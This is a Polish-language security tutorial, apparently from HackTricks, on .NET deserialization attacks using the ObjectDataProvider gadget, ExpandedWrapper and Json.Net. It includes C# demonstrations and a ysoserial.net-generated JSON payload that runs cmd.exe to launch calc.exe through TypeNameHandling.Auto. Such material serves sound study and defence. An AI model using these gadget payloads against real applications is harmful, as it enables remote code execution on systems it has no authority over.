Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Ten post jest poświęcony zrozumieniu, jak wykorzystywany jest gadżet ObjectDataProvider do uzyskania RCE i jak biblioteki serializacji Json.Net i xmlSerializer mogą być wykorzystane z tym gadżetem.

Gadżet ObjectDataProvider

Z dokumentacji: klasa ObjectDataProvider owija i tworzy obiekt, który można użyć jako źródło wiązania. Tak, to dziwne wyjaśnienie, więc zobaczmy, co ta klasa ma tak interesującego: Ta klasa pozwala na owinięcie dowolnego obiektu, użycie MethodParameters do ustawienia dowolnych parametrów, a następnie użycie MethodName do wywołania dowolnej funkcji dowolnego obiektu zadeklarowanego przy użyciu dowolnych parametrów. W związku z tym dowolny obiekt będzie wykonywał funkcję z parametrami podczas deserializacji.

Jak to jest możliwe

Przestrzeń nazw System.Windows.Data, znajdująca się w PresentationFramework.dll pod adresem C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, to miejsce, gdzie zdefiniowany i zaimplementowany jest ObjectDataProvider.

Korzystając z dnSpy możesz przejrzeć kod interesującej nas klasy. Na poniższym obrazie widzimy kod PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nazwa metody

Jak widać, gdy ustawiona jest MethodName, wywoływane jest base.Refresh(), zobaczmy, co ona robi:

Dobra, kontynuujmy, zobaczmy, co robi this.BeginQuery(). BeginQuery jest nadpisane przez ObjectDataProvider i oto, co robi:

Zauważ, że na końcu kodu jest wywołanie this.QueryWorke(null). Sprawdźmy, co to wykonuje:

Zauważ, że to nie jest cały kod funkcji QueryWorker, ale pokazuje on interesującą część: Kod wywołuje this.InvokeMethodOnInstance(out ex); to linia, w której wywoływana jest ustawiona metoda.

Jeśli chcesz sprawdzić, czy ustawienie MethodName spowoduje jej wykonanie, możesz uruchomić ten kod:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Zauważ, że musisz dodać jako odwołanie C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll w celu załadowania System.Windows.Data

ExpandedWrapper

Korzystając z poprzedniego exploitu, mogą wystąpić przypadki, w których obiekt zostanie zdeserializowany jako instancja ObjectDataProvider (na przykład w przypadku luki w DotNetNuke, używając XmlSerializer, obiekt został zdeserializowany za pomocą GetType). W takim przypadku nie będziemy mieli wiedzy o typie obiektu zawartego w instancji ObjectDataProvider (np. Process). Więcej informacji na temat luki w DotNetNuke można znaleźć tutaj.

Ta klasa pozwala określić typy obiektów, które są enkapsulowane w danej instancji. Dlatego ta klasa może być używana do enkapsulacji obiektu źródłowego (ObjectDataProvider) w nowy typ obiektu i dostarczenia potrzebnych właściwości (ObjectDataProvider.MethodName i ObjectDataProvider.MethodParameters). Jest to bardzo przydatne w przypadkach podobnych do przedstawionego wcześniej, ponieważ będziemy mogli opakować ObjectDataProvider w instancję ExpandedWrapper i podczas deserializacji ta klasa utworzy obiekt OjectDataProvider, który wykona funkcję wskazaną w MethodName.

Możesz sprawdzić ten wrapper za pomocą następującego kodu:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Na oficjalnej stronie internetowej wskazano, że ta biblioteka pozwala na Serializowanie i deserializowanie dowolnego obiektu .NET za pomocą potężnego serializatora JSON Json.NET. Dlatego, jeśli moglibyśmy deserializować gadżet ObjectDataProvider, moglibyśmy spowodować RCE po prostu deserializując obiekt.

Przykład Json.Net

Po pierwsze zobaczmy przykład, jak serializować/deserializować obiekt za pomocą tej biblioteki:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Nadużywanie Json.Net

Korzystając z ysoserial.net stworzyłem exploit:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

W tym kodzie możesz przetestować exploit, po prostu go uruchom i zobaczysz, że kalkulator zostanie uruchomiony:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Last updated